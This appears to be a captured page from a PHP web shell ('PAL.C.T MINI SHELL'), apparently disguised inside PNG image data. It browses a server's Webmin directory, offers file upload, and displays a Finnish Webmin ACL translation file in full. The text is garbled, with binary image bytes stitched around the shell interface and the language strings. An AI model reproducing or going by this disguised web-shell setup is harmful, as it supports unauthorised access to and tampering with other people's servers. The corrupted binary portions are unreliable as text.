php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/fi.auto

index_title=Webmin-käyttäjät
index_user=käyttäjä
index_modules=moduulit
index_create=Luo uusi etuoikeutettu käyttäjä.
index_screate=Luo uusi turvallinen käyttäjä.
index_convert=Muunna Unix Webmin -käyttäjiksi
index_cert=Pyydä SSL-varmennetta
index_twofactor=Kahden tekijän todennus
index_certmsg=Napsauta tätä painiketta, jos haluat pyytää SSL-varmennetta, jonka avulla voit kirjautua turvallisesti Webminiin ilman, että sinun on annettava käyttäjänimeä ja salasanaa.
index_return=käyttäjäluettelo
index_none=Ei mitään
index_edit=Muokkaa moduulin ACL:
index_global=Globaali ACL
index_users=Webmin-käyttäjät
index_groups=Webmin-ryhmät
index_group=Ryhmä
index_nousers=Ei muokattavia Webmin-käyttäjiä määritetty.
index_nogroups=Webmin-ryhmiä ei ole määritetty.
index_gcreate=Luo uusi Webmin-ryhmä.
index_members=Jäsenet
index_modgroups=Moduulit ryhmästä $1
index_sync=Määritä Unix-käyttäjän synkronointi
index_unix=Määritä Unix-käyttäjän todennus
index_sessions=Näytä sisäänkirjautumisistunnot
index_rbac=Asenna RBAC
index_delete=Poista valitut
index_joingroup=Lisää ryhmään:
index_eulist=Käyttäjien luettelointi epäonnistui: $1
index_eglist=Ryhmien luettelointi epäonnistui: $1

edit_title=Muokkaa Webmin-käyttäjää
edit_title2=Luo Webmin-käyttäjä
edit_title3=Luo turvallinen Webmin-käyttäjä
edit_readonly=Tätä Webmin-käyttäjää ei pitäisi muokata, koska sitä hallitsee $1 -moduuli. <a href='$2'>Napsauta tätä</a> ohittaaksesi tämän varoituksen ja muokkaamalla käyttäjää joka tapauksessa - varo kuitenkin, että kaikki manuaaliset muutokset voivat olla kirjoitettu yli!
edit_rights=Webmin-käyttäjän käyttöoikeudet
edit_user=Käyttäjätunnus
edit_cloneof=Kloonaa Webmin-käyttäjä
edit_real=Oikea nimi
edit_group=Ryhmän jäsen
edit_pass=Salasana
edit_same=Sama kuin Unix
edit_lock=Salasanaa ei hyväksytä
edit_pam=PAM-todennus
edit_unix=Unix-todennus
edit_extauth=Ulkoinen todennusohjelma
edit_dont=Älä muuta
edit_set=Asetettu
edit_passlocked=Salasanaa ei ole vaihdettu $1 päiväksi - tili lukittu!
edit_passmax=Salasanaa ei ole vaihdettu $1 päiväksi - se on vaihdettava seuraavan kirjautumisen yhteydessä
edit_passold=Salasana vaihdettiin viimeksi $1 päivää sitten
edit_passtoday=Salasana vaihdettiin vähemmän kuin päivä sitten
edit_modules=moduulit
edit_clone=Klooni
edit_twofactor=Kaksikerroinen todennustyyppi
edit_twofactorprov=Palveluntarjoajan $1 käyttäminen tunnuksella $2
edit_twofactorcancel=Poista kaksifaktorinen todennusvaatimus
edit_twofactornone=Ei vielä mitään asennusta
edit_twofactoradd=Ota käyttöön kaksikerroinen käyttäjä
edit_lang=Kieli
edit_notabs=Luokittele moduulit?
edit_logout=Toimimattomuudesta poistumisaika
edit_mins=pöytäkirja
edit_chars=kirjaimet
edit_minsize=Salasanan vähimmäispituus
edit_nochange=Asetako salasananvaihtopäivät voimassa?
edit_cert=SSL-varmenteen nimi
edit_none=Ei mitään
edit_ips=IP-pääsyn hallinta
edit_all=Salli kaikista osoitteista
edit_allow=Salli vain luetelluista osoitteista
edit_deny=Estä luetelluista osoitteista
edit_ipdesc=Käyttäjän IP-pääsyn hallinta toimii samalla tavalla kuin globaali IP-pääsyn hallinta Webmin-määritysmoduulissa. Vain jos käyttäjä läpäisee globaalit ohjausobjektit, myös täällä olevat tarkistetaan.
edit_skill=Taitotaso
edit_risk=Riskitaso
edit_risk_high=Superkäyttäjä
edit_risk_medium=Järjestelmänvalvojan käyttäjä
edit_risk_low=Normaali käyttäjä
edit_groupmods=(Ryhmämoduulien lisäksi)
edit_euser=Sinulla ei ole oikeutta muokata tätä käyttäjää
edit_egone=Valittua käyttäjää ei enää ole!
edit_ecreate=Et voi luoda käyttäjiä
edit_theme=Henkilökohtainen käyttöliittymän teema
edit_themeglobal=Webmin-määrityksestä
edit_themedef=Vanha Webmin-teema
edit_overlay=Henkilökohtainen teemapeittokuva
edit_overlayglobal=Ei mitään - käytä teeman oletusasetuksia
edit_log=Näytä lokit
edit_selall=Valitse kaikki
edit_invert=Käänteinen valinta
edit_hide=Piilota käyttämätön
edit_switch=Vaihda käyttäjälle
edit_return=Webmin-käyttäjä
edit_return2=Webmin-ryhmä
edit_rbacdeny=RBAC-käyttötila
edit_rbacdeny0=RBAC ohjaa vain valittuja moduulin ACL: itä
edit_rbacdeny1=RBAC ohjaa kaikkia moduuleja ja ACL: iä
edit_global=Kaikkien moduulien luvat
edit_templock=Tilapäisesti lukittu
edit_temppass=Pakota muutos seuraavalla kirjautumisella
edit_days=Sallitut viikonpäivät
edit_alldays=Joka päivä
edit_seldays=Vain valitut päivät..
edit_hours=Sallitut päiväajat
edit_allhours=Milloin vain
edit_selhours=Alkaen $1:$2 - $3:$4 
edit_ui=Käyttöliittymän asetukset
edit_security=Suojaus ja rajoitukset
edit_mods=Käytettävissä olevat Webmin-moduulit
edit_modsg=Käytettävissä olevat Webmin-moduulit (ryhmän lisäksi)
edit_proto=Varastotyyppi
edit_proto_mysql=MySQL-tietokanta
edit_proto_postgresql=PostgreSQL-tietokanta
edit_proto_ldap=LDAP-palvelin
edit_proto_=Paikalliset tiedostot
edit_safe=Etuoikeustaso
edit_safe0=rajoittamaton
edit_safe1=Vain turvalliset moduulit
edit_unsafe=Palauta rajoittamaton

save_err=Käyttäjän tallentaminen epäonnistui
save_ename='$1' ei ole kelvollinen käyttäjänimi
save_eunixname=Käyttäjätunnus '$1' ei ole Unix-käyttäjä, joten sitä ei voi käyttää turvatilassa
save_enamewebmin=Käyttäjätunnus 'webmin' on varattu sisäiseen käyttöön
save_edup=Käyttäjätunnus '$1' on jo käytössä
save_eoverlay=Teeman päällekkäisyyttä ei voida valita, ellei teema ole
save_edeny=et voi estää itsesi pääsyä Webmin-käyttäjien moduuliin
save_eos=Käyttöjärjestelmässäsi ei tueta samaa kuin Unix-salasanavaihtoehto.
save_emd5=Samaa kuin Unix-salasana -asetusta ei voida käyttää MD5-salauksella varustetuissa järjestelmissä
save_eunix=Unix-käyttäjää '$1' ei ole olemassa
save_emod=Et voi myöntää käyttöoikeutta moduuliin '$1'
save_ecreate=Et voi luoda käyttäjiä
save_euser=Sinulla ei ole oikeutta muokata tätä käyttäjää
save_ecolon=Salasanat eivät voi sisältää: merkkiä
save_epass=Salasana ei kelpaa: $1
save_eself=Nykyinen IP-osoitteesi ($1) hylätään
save_epam=PAM-todennus ei ole käytettävissä, koska <tt>Authen::PAM</tt> Perl-moduulia ei ole asennettu tai se ei toimi oikein.
save_epam2=Voit käyttää Webminin Perl-moduuleja <a href='$1'>lataamaan ja asentamaan Authen::PAM</a> nyt.
save_egroup=Sinulla ei ole oikeutta osoittaa kyseiseen ryhmään
save_enone=Osoitteita ei annettu
save_enet='$1' ei ole kelvollinen verkko-osoite
save_emask='$1' ei ole kelvollinen verkkomaski
save_eip='$1' ei ole täydellinen IP- tai verkko-osoite
save_ehost='$1' IP-osoitteen löytäminen epäonnistui
save_elogouttime=Puuttuva tai ei-numeerinen epäaktiivisuuden kirjautumisaika
save_eminsize=Puuttuva tai ei-numeerinen salasanan vähimmäispituus
save_edays=Ei valittuja päiviä
save_ehours=Puuttuvat tai virheelliset ajat sallia
save_ehours2=Aloitusajan on oltava ennen loppua
save_etemp=Vaihtoehtoa pakottaa salasananvaihto seuraavan kirjautumisen yhteydessä ei voida käyttää, ellei <a href='$1'>kehoteta käyttäjiä syöttämään uusia salasanoja</a> on käytössä

delete_err=Käyttäjän poistaminen epäonnistui
delete_eself=Et voi poistaa itseäsi
delete_ecannot=Et voi poistaa käyttäjiä
delete_euser=Sinulla ei ole oikeutta poistaa tätä käyttäjää
delete_eanonuser=Tätä käyttäjää käytetään nimettömään moduulikäyttöön

cert_title=Pyydä varmennetta
cert_issue=Anta todistus
cert_header=Uudet varmennetiedot
cert_msg=Tämän lomakkeen avulla voit pyytää SSL-asiakassertifikaattia, jota käytetään tulevaisuudessa myöntämään sinulle pääsy Webminiin käyttäjänimesi ja salasanasi sijasta. Tämä on turvallisempaa, mutta koska todennus on automaattista, et voi vaihtaa toiseen käyttäjää varmennetta käyttäessäsi.
cert_ebrowser=Webmin ei osaa antaa asiakassertifikaatteja selaimellesi ($1)
cert_cn=Sinun nimesi
cert_email=Sähköpostiosoite
cert_ou=osasto
cert_o=organisaatio
cert_sp=Osavaltio
cert_c=Maatunnus
cert_key=Avaimen koko
cert_done=$1 -sertifikaatti on luotu onnistuneesti.
cert_pickup=<a href='$1'>Napsauta tätä saadaksesi sertifikaatin ja asentaaksesi selaimeesi</a>
cert_install=Asenna varmenne selaimeen
cert_ekey=Selaimesi ei lähettänyt uutta SSL-avainta - ehkä se ei tue SSL-asiakasvarmenteita.
cert_eca=Varmenteen myöntäjän määrittäminen epäonnistui: $1
cert_already=Varoitus - käytät jo varmennetta $1.
cert_etempdir=Virheellinen varmennetiedosto

acl_title=Moduulin pääsyn hallinta
acl_title2=$1 -kohdassa $2
acl_title3=Ryhmälle $1 ryhmässä $2
acl_options=$1 kulunvalvonta-asetukset
acl_config=Voiko muokata moduulin kokoonpanoa?
acl_reset=Palauta täysi käyttöoikeus
acl_rbac=Hanki kulunvalvonta-asetukset RBAC: lta?
acl_rbacyes=Kyllä (ohittaa alla olevat asetukset)

acl_uall=Kaikki käyttäjät
acl_uthis=Tämä käyttäjä
acl_usel=Valitut käyttäjät..
acl_gr=$1 jäsenet
acl_users=Käyttäjät, joita voi muokata
acl_mods=Voi myöntää käyttöoikeuden
acl_all=Kaikki moduulit
acl_own=Vain hänen omat moduulinsa
acl_sel=Valitut moduulit..
acl_create=Voiko luoda uusia käyttäjiä?
acl_delete=Voiko käyttäjiä poistaa?
acl_rename=Voivatko käyttäjät nimetä uudelleen?
acl_acl=Voiko muokata moduulin pääsynhallintaa?
acl_lang=Voiko kieltä vaihtaa?
acl_chcert=Voiko SSL-varmenteen nimeä muuttaa?
acl_euser=Et voi muokata tämän käyttäjän ACL-luetteloa
acl_egroup=Et voi muokata ryhmän ACL-luetteloita
acl_emod=Et voi muokata tämän moduulin ACL-luetteloa
acl_others=Näetkö esteettömiä moduuleja?
acl_cert=Voinko pyytää sertifikaattia?
acl_err=Käyttöoikeuksien tallennus epäonnistui
acl_groups=Voiko ryhmiä muokata?
acl_gassign=Voi määrittää käyttäjät ryhmiin
acl_gall=Kaikki ryhmät
acl_gsel=Valittu..
acl_gnone=Ei mitään
acl_perms=Äskettäin luodut käyttäjät saavat
acl_perms_1=Sama moduulin käyttöoikeuksien hallintaa kuin luoja
acl_perms_0=Oletus (rajoittamaton) moduulin käyttöoikeus
acl_sync=Voiko käyttäjän synkronointi määrittää?
acl_unix=Voiko konfiguroida unix-todennuksen?
acl_sessions=Voiko katsella ja peruuttaa kirjautumissessioita?
acl_cats=Voiko luokittelua muuttaa?
acl_theme=Voiko henkilökohtaista teemaa muuttaa?
acl_ips=Voiko IP-pääsyn hallintaa muuttaa?
acl_switch=Voiko vaihtaa muihin käyttäjiin?
acl_times=Voiko muuttaa sallittuja sisäänkirjautumisaikoja?
acl_pass=Voiko salasanarajoituksia muuttaa?
acl_sql=Voiko määrittää käyttäjän ja ryhmän tietokannan?

log_modify=Muokattu Webmin-käyttäjän $1
log_rename=Nimeänyt uudelleen Webmin-käyttäjän $1 arvoksi $2
log_create=Luotu Webmin-käyttäjän $1
log_clone=Kloonattu Webmin-käyttäjän $1 $2
log_delete=Poistettu Webmin-käyttäjän $1
log_acl=Päivitetty $1 käyttöoikeus $2
log_reset=Palauta $1 käyttöoikeudet $2
log_cert=Myönnetty sertifikaatti käyttäjälle $1
log_modify_g=Muokattu Webmin-ryhmä $1
log_rename_g=Nimeänyt uudelleen Webmin-ryhmän $1 arvoksi $2
log_create_g=Luotu Webmin-ryhmä $1
log_delete_g=Poistettu Webmin-ryhmä $1
log_switch=Vaihdettiin Webmin-käyttäjän $1
log_delete_users=Poistettu $1 Webmin-käyttäjät
log_delete_groups=Poistettu $1 Webmin-ryhmät
log_joingroup=Lisätty $1 Webmin-käyttäjät ryhmään $2
log_pass=Salasanarajoitukset muuttuneet
log_unix=Vaihdettu unix-käyttäjän todennus
log_sync=Vaihdettu unix-käyttäjän synkronointi
log_sql=Muutettu käyttäjän ja ryhmän tietokanta
log_twofactor=Rekisteröity käyttäjä $1 kaksikerroisen palveluntarjoajan kanssa $2
log_onefactor=Rekisteröitynyt käyttäjä $1 kaksikerroiseen todennukseen

gedit_ecannot=Et voi muokata ryhmiä
gedit_title=Muokkaa Webmin-ryhmää
gedit_title2=Luo Webmin-ryhmä
gedit_group=Ryhmän nimi
gedit_rights=Webmin-ryhmän käyttöoikeudet
gedit_modules=Jäsenten moduulit
gedit_members=Jäsenet ja ryhmät
gedit_desc=Ryhmän kuvaus
gedit_egone=Valittua ryhmää ei enää ole!

gdelete_err=Ryhmän poistaminen epäonnistui
gdelete_ecannot=Et voi poistaa ryhmiä
gdelete_euser=Et voi poistaa omaa ryhmääsi
gdelete_esub=Alaryhmiä sisältäviä ryhmiä ei voi poistaa
gdelete_title=Poista ryhmä
gdelete_desc=Haluatko varmasti poistaa ryhmän $1 ja sen jäsenkäyttäjät $2?
gdelete_ok=Poista ryhmä

gsave_err=Ryhmän tallentaminen epäonnistui
gsave_ename=Puuttuva tai virheellinen ryhmän nimi
gsave_enamewebmin=Ryhmän nimi 'webmin' on varattu sisäiseen käyttöön
gsave_edup=Ryhmän nimi on jo käytössä
gsave_edesc=Virheellinen kuvaus - merkki: ei ole sallittu

convert_title=Muunna käyttäjät
convert_ecannot=Et voi muuntaa Unix-käyttäjää
convert_nogroups=Järjestelmässäsi ei ole määritetty Webmin-ryhmiä. Ainakin yksi ryhmä on luotava ennen muuntamista, jotta muunnetulle käyttäjälle voidaan määrittää käyttöoikeudet.
convert_desc=Tämän lomakkeen avulla voit muuntaa nykyiset Unix-käyttäjät Webmin-käyttäjiksi. Kunkin uuden Webmin-käyttäjän oikeudet määrittelee alla valittu ryhmä.
convert_0=Kaikki käyttäjät
convert_1=Vain käyttäjät
convert_2=Kaikki paitsi käyttäjät
convert_3=Ryhmän käyttäjät
convert_4=Käyttäjät, joiden UID-tunnusalue on
convert_group=Määritä uudet käyttäjät Webmin-ryhmään
convert_sync2=Synkronoidaanko salasana Unix-käyttäjän kanssa tulevaisuudessa?
convert_ok=Muunna nyt
convert_err=Käyttäjien muuntaminen epäonnistui
convert_eusers=Ei käyttäjiä muuntamaan syötettyjä
convert_egroup=Unix-ryhmää ei ole
convert_emin=Virheellinen vähimmäis-UID
convert_emax=Virheellinen suurin UID
convert_ewgroup=Ei sellaista Webmin-ryhmää
convert_ewgroup2=Et voi määrittää uusia käyttäjiä tähän ryhmään
convert_skip=$1 ohitetaan
convert_exists=$1 on jo olemassa
convert_invalid=$1 ei ole kelvollinen Webmin-käyttäjänimi
convert_added=$1 lisätään
convert_msg=Muunnetaan Unix-käyttäjiä...
convert_user=Unix-käyttäjä
convert_action=Toimet
convert_done=$1 käyttäjät muunnetut, $2 kelpaa, $3 on jo olemassa, $4 poissuljettu.
convert_users=Käyttäjät muuntamaan

sync_title=Unix-käyttäjän synkronointi
sync_desc=Tämä muoto antaa sinun määrittää Webminin kautta luotujen Unix-käyttäjien ja tämän moduulin käyttäjien automaattisen synkronoinnin.
sync_nogroups=Järjestelmässäsi ei ole määritetty Webmin-ryhmiä. Ainakin yksi ryhmä on luotava luomaan käyttäjille pääsy.
sync_when=Milloin synkronoida
sync_create=Luo Webmin-käyttäjä, kun Unix-käyttäjä luodaan.
sync_update=Päivitä vastaava Webmin -käyttäjä, kun Unix-käyttäjä päivitetään.
sync_delete=Poista vastaava Webmin-käyttäjä, kun Unix-käyttäjä poistetaan.
sync_modify=Nimeä vastaava Webmin-käyttäjä uudelleen, kun Unix-käyttäjä nimetään uudelleen.
sync_group=Määritä uudet käyttäjät Webmin-ryhmään
sync_unix=Aseta uusien käyttäjien salasana Unix-todennukseen.
sync_ecannot=Et voi määrittää käyttäjän synkronointia.

unix_title=Unix-käyttäjän todennus
unix_err=Unix-todennuksen tallentaminen epäonnistui
unix_desc=Tällä sivulla voit määrittää Webminin vahvistamaan kirjautumisyritykset järjestelmän käyttäjäluettelon ja PAM: n suhteen. Tästä voi olla hyötyä, jos sinulla on suuri joukko nykyisiä Unix-käyttäjiä, jotka haluat antaa Webmin-käyttöoikeuden.
unix_def=Salli vain Webmin-käyttäjien kirjautua sisään
unix_sel=Salli alla lueteltujen Unix-käyttäjien kirjautua sisään..
unix_mode=Sallia
unix_mall=Kaikki käyttäjät
unix_group=Ryhmän jäsenet..
unix_user=Unix-käyttäjä..
unix_who=Käyttäjä tai ryhmä
unix_to=Webmin-käyttäjänä
unix_ecannot=Et voi määrittää Unix-käyttäjän todennusta
unix_epam=Unix-todennus ei ole käytettävissä, koska <tt>Authen::PAM</tt> Perl-moduulia ei ole asennettu tai se ei toimi oikein.
unix_all=Salli kaikki Unix-käyttäjät
unix_allow=Salli vain luetellut Unix-käyttäjät
unix_deny=Estä luetellut Unix-käyttäjät
unix_none=Ei käyttäjiä
unix_euser='$1' ei ole kelvollinen käyttäjänimi
unix_egroup='$1' ei ole kelvollinen ryhmän nimi
unix_shells=Estä Unix-käyttäjät, joiden kuoret eivät ole tiedostossa
unix_eshells=Puuttuva tai puuttuva kuori-tiedosto
unix_restrict2=Lisärajoitukset
unix_ewhogroup=Puuttuva ryhmä sallimaan rivillä $1
unix_ewhouser=Puuttuva käyttäjä voi sallia rivillä $1
unix_enone=Ei Unix-käyttäjiä tai ryhmiä sallimaan pääsy
unix_same=&lt;Sama käyttäjä tai ryhmä&gt;
unix_sudo=Salli käyttäjien, jotka voivat suorittaa kaikki komennot <tt>sudo</tt>: n kautta, kirjautua sisään <tt>juureksi</tt>
unix_pamany=Käytä vain PAM-validoinnin läpäisseitä kirjautumisia $1
unix_esudo=$1 -komentoa ei ole asennettu
unix_esudomod=<tt>sudo</tt> -todennukseen tarvittavaa Perl-moduulia $1 ei ole asennettu
unix_header=Unix-käyttäjän todennusasetukset
unix_utable=Sallitut Unix-käyttäjät

sessions_title=Nykyiset kirjautuminenistunnot
sessions_id=Istunnon tunniste
sessions_user=Webmin-käyttäjä
sessions_login=Viimeksi aktiivinen klo
sessions_host=IP-osoite
sessions_lview=Näytä lokit..
sessions_actions=Toiminnot..
sessions_all=Kaikki istunnot..
sessions_logouts=Näytä myös kirjautuneet istunnot..
sessions_state=Osavaltio
sessions_this=Tämä kirjautuminen
sessions_in=Kirjautunut sisään
sessions_out=Kirjautunut ulos
sessions_kill=Katkaista..

logins_title=Viimeaikaiset Webmin-kirjautuminen

hide_title=Piilota käyttämättömät moduulit
hide_desc=Seuraavat moduulit poistetaan moduulien käyttöluettelosta $1 -sovelluksille, koska niitä vastaavia palvelimia ei ole asennettu järjestelmään.
hide_ok=Piilota moduulit nyt
hide_none=Ei piilotettavaa - $1 ei pääse moduuleihin, joiden vastaavia palvelimia ei ole asennettu järjestelmään.
hide_desc2=Huomaa, että nämä moduulit eivät näy uudelleen automaattisesti, jos vastaavat palvelimet on asennettu. Sinun on myönnettävä käyttö manuaalisesti tämän moduulin avulla.
hide_clone=(Klooni $1)

switch_euser=Sinulla ei ole oikeutta siirtyä tälle käyttäjälle
switch_eold=Olevaa istuntoa ei löytynyt!

rbac_title=Asenna RBAC
rbac_desc=Webminin RBAC-integraatio tarjoaa tapaa, jolla käyttäjämoduulit ja ACL-oikeudet voidaan määrittää RBAC (Role Based Access Control) -tietokannasta Webminin omien asetustiedostojen sijasta. Kun RBAC-tuki on otettu käyttöön, jokaisella käyttäjällä, jolle <b>RBAC ohjaa kaikkia moduuleja ja ACL: iä</b> -vaihtoehto, on hänen ominaisuutensa RBAC: n määrittelemä Webminin omien pääsynhallinta-asetusten sijasta.
rbac_esolaris=RBAC: ta tuetaan tällä hetkellä vain Solaris-järjestelmässä, joten sitä ei voida käyttää tässä $1 -järjestelmässä.
rbac_eperl=RBAC-integraatioon tarvittavaa Perl-moduulia $1 ei ole asennettu. <a href='$2'>Napsauta tätä</a>, niin asenna se nyt.
rbac_ecpan=Sinulla ei ole pääsyä Webminin Perl-moduuleihin -sivulle tarvittavan $1 -moduulin asentamiseksi RBAC-integraatioon.
rbac_ok=RBAC-integraatio on saatavana tässä järjestelmässä, ja se voidaan ottaa käyttöön käyttäjää kohden Muokkaa Webmin-käyttäjän sivua.

udeletes_err=Käyttäjien poistaminen epäonnistui
udeletes_jerr=Käyttäjien lisääminen ryhmään epäonnistui
udeletes_enone=Mitään ei ole valittu
udeletes_title=Poista käyttäjät
udeletes_rusure=Haluatko varmasti poistaa $1 valitut käyttäjät? Kaikki heidän kulunvalvonta-asetukset ja käyttäjän tiedot katoavat.
udeletes_users=Valitut käyttäjät: $1
udeletes_ok=Poista käyttäjät
udeletes_ereadonly=Yksi valituista käyttäjistä on merkitty muokkaamattomaksi

gdeletes_err=Ryhmien poistaminen epäonnistui
gdeletes_title=Poista ryhmät
gdeletes_rusure=Haluatko varmasti poistaa $1 valitut ryhmät ja $2 käyttäjät, jotka ne sisältävät? Kaikki heidän kulunvalvonta-asetukset ja käyttäjän tiedot katoavat.
gdeletes_users=Valitut ryhmät: $1
gdeletes_ok=Poista ryhmät

pass_title=Salasanan rajoitukset
pass_ecannot=Et voi muokata salasanarajoituksia
pass_header=Webmin-salasanan valvontavaihtoehdot
pass_minsize=Salasanan vähimmäispituus
pass_nominsize=Ei minimiä
pass_regexps=Säännöllisten lausekkeiden salasanojen on vastattava toisiaan
pass_regdesc=Ihmiselle luettavissa oleva kuvaus säännöllisestä ilmaisusta
pass_maxdays=Päiviä ennen salasanan vaihtoa
pass_lockdays=Päiviä ennen kuin salasanan vaihtaminen on lukittu
pass_nomaxdays=Muutosta ei tarvita koskaan
pass_nolockdays=Tiliä ei ole koskaan lukittu
pass_nouser=Entä salasanat, jotka sisältävät käyttäjänimen?
pass_nodict=Estävät sanakirjassa käytettävät sanan salasanat?
pass_oldblock=Hylättävien vanhojen salasanojen lukumäärä
pass_nooldblock=Ei salasanan uudelleenkäytön rajoituksia
pass_days=päivää
pass_pass=salasanat
pass_err=Salasanarajoitusten tallentaminen epäonnistui
pass_eminsize=Puuttuva tai ei-numeerinen salasanan vähimmäispituus
pass_emaxdays=Puuttuva tai ei-numeerinen päivien lukumäärä ennen vaihtamista
pass_elockdays=Puuttuva tai numeroiden ulkopuolinen päivien lukumäärä ennen tilin lukitsemista
pass_eoldblock=Puuttuva tai numeerinen lukumäärä hylättäviä vanhoja salasanoja

cpass_minsize=Sen on oltava vähintään $1 kirjainta pitkä
cpass_notre=Vastaa kiellettyä mallia
cpass_re=Ei vastaa vaadittua mallia
cpass_name=Sisältää käyttäjänimen
cpass_dict=Onko sanakirja
cpass_spellcmd=Sanakirjasanojen tarkistamiseen tarvittavia $1 tai $2 -komentoja ei ole asennettu
cpass_old=Vanhoja salasanoja ei voi käyttää uudelleen

sql_title=Käyttäjä- ja ryhmätietokanta
sql_ecannot=Sinulla ei ole oikeutta määrittää käyttäjän ja ryhmän tietokantaa
sql_header=Asetukset tietokannan taustalle käyttäjille ja ryhmille
sql_host=hostname
sql_user=Käyttäjätunnus
sql_pass=Salasana
sql_db=Tietokannan nimi
sql_ssl=Yhteyden salaus
sql_ssl0=Ei mitään
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=Objektiluokka käyttäjille
sql_groupclass=Kohdeluokka ryhmille
sql_euserclass=Puuttuva tai virheellinen käyttäjäluokka
sql_egroupclass=Puuttuva tai virheellinen kohdeluokka ryhmille
sql_none=Käytä vain paikallisia tiedostoja käyttäjien ja ryhmien tallentamiseen
sql_mysql=Käytä MySQL-tietokantaa
sql_postgresql=Käytä PostgreSQL-tietokantaa
sql_ldap=Käytä LDAP-palvelinta
sql_prefix=Luo alla DN
sql_addto0=Lisää uusia käyttäjiä yllä valittuihin tietokantoihin
sql_addto1=Lisää uusia käyttäjiä paikallisiin tiedostoihin
sql_nocache0=Välimuistiyhteydet tietokantaan
sql_nocache1=Avaa uusi yhteys kutakin hakua varten
sql_emod=Puuttuu vaadittu Perl-moduuli <tt>$1</tt>
sql_etable=Vaaditun taulukon kysely epäonnistui $1:$2 
sql_eldapdn=Pohja-LDAP DN $1 ei löytynyt
sql_eclass=LDAP-objektiluokkaa $1 ei ole palvelimen kaavassa
sql_err=Käyttäjien ja ryhmien tietokanta-asetusten tallentaminen epäonnistui
sql_ehost=Puuttuva tai ratkaisematon isäntänimi
sql_euser=Puuttuva tai virheellinen käyttäjänimi (välilyöntejä ei sallita)
sql_epass=Virheellinen salasana (välilyöntejä ei sallita)
sql_edb=Virheellinen tietokannan nimi (välilyöntejä ei sallita)
sql_eprefix=Puuttuva tai virheellinen perus-DN (ei välilyöntejä sallittu)
sql_eprefix2=Virheellisen näköinen kanta-DN - pitäisi olla kuten <tt>dc = omaverkkotunnus, dc = com</tt>
sql_title2=Luo puuttuvia taulukoita
sql_tableerr=Käyttäjä- ja ryhmätietokanta-asetukset ovat kelvollisia, mutta jotkut Webminin tarvitsemat taulukot puuttuvat: $1
sql_tableerr2=Napsauta alla olevaa <b>Luo taulukot</b> -painiketta, jotta ne luodaan automaattisesti, tai suorita alla oleva SQL manuaalisesti.
sql_make=Luo taulukoita
sql_title3=Luo puuttuva DN
sql_dnerr=Käyttäjä- ja ryhmätietokanta-asetukset ovat kelvollisia, mutta Webminin tarvitsema LDAP DN puuttuu: $1
sql_dnerr2=Napsauta alla olevaa <b>Luo DN</b> -painiketta, jotta se luodaan automaattisesti, tai lisää se LDAP-palvelimelle manuaalisesti.
sql_makedn=Luo DN
sql_schema=Lataa LDAP-kaavio
sql_timeout_def=Käytä oletusyhteyden aikakatkaisua (60 sekuntia)
sql_timeout_for=Sulje välimuistiliitännät jälkeen
sql_timeout_secs=sekuntia
sql_etimeout=Välimuistissa olevan yhteyden aikakatkaisun on oltava numero

make_title=Luo käyttäjä- ja ryhmätaulukoita
make_err=Käyttäjä- ja ryhmätaulukoiden luominen epäonnistui
make_exec=Suoritetaan SQL $1..
make_failed=.. luominen epäonnistui: $1
make_done=.. valmis
make_still=Joitakin ongelmia löytyi jopa taulukon luomisen jälkeen: $1

makedn_title=Luo LDAP DN
makedn_eoc=Rakennekohdeluokkia ei löytynyt!
makedn_exec=Vanhemman DN luominen $1..
makedn_failed=.. luominen epäonnistui: $1
makedn_done=.. valmis
makedn_still=Joitakin ongelmia löytyi jo DN: n luomisen jälkeen: $1

schema_title=Lataa LDAP-kaavio
schema_desc=Ennen kuin Webmin voi käyttää LDAP-palvelinta käyttäjien ja ryhmien tallentamiseen, se on määritettävä käyttämään alla olevaa mallia. Tämä voidaan tyypillisesti tehdä tallentamalla kaavion määritelmä hakemistoon <tt>/etc/ldap/schema</tt> tai <tt>/etc/openldap/schema</tt> nimellä <tt>webmin.schema</tt>, sitten palvelimen määrittäminen lataamaan mallitiedosto.
schema_download=Lataa kaavatiedosto: <a href=$1>$1</a>

twofactor_err=Kaksikerroista todennusta ei pystytty määrittämään
twofactor_euser=Webmin-käyttäjääsi ei löytynyt!
twofactor_title=Kahden tekijän todennus
twofactor_disable=Poista kaksifaktorinen todennus käytöstä
twofactor_already=Webmin-kirjautumistunnuksesi on jo kaksifaktorinen todennus käytössä, kun palveluntarjoaja $1 ja tilitunnus $2.
twofactor_already2=Webmin-kirjautuminen $3 on jo kaksifaktorinen todennus käytössä, kun tarjoaja $1 ja tilin tunnus $2.
twofactor_desc=Tällä sivulla voit ottaa käyttöön kaksikerroisen todennuksen Webmin-kirjautumistunnuksille käyttämällä <a href='$2' target=_blank>$1</a>. Aktivoitumisen jälkeen tarvitaan uusi todennustunnus kirjautuessasi Webminiin.
twofactor_desc2=Tällä sivulla voit ottaa käyttöön kaksifaktorisen todennuksen Webmin-kirjautuminen $3 käyttämällä <a href='$2' target=_blank>$1</a>. Aktivoitumisen jälkeen tarvitaan uusi todennustunnus kirjautuessasi Webminiin.
twofactor_enable=Ilmoittautuminen kaksifaktoriseen todennukseen
twofactor_header=Kahden tekijän todennuksen ilmoittautumisen yksityiskohdat
twofactor_enrolling=Ilmoittautuminen kaksifaktoriseen todennukseen palveluntarjoajan $1 kanssa.
twofactor_failed=.. ilmoittautuminen epäonnistui: $1
twofactor_done=.. saattaa loppuun. Tunnuksesi tämän palveluntarjoajan kanssa on <tt>$1</tt>.
twofactor_setup=Kaksifaktorista todennusta ei ole vielä otettu käyttöön tässä järjestelmässä, mutta se voidaan ottaa käyttöön <a href='$1'>Webmin-määritys</a> -moduulilla.
twofactor_ebutton=Yhtään painiketta ei napsautettu!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`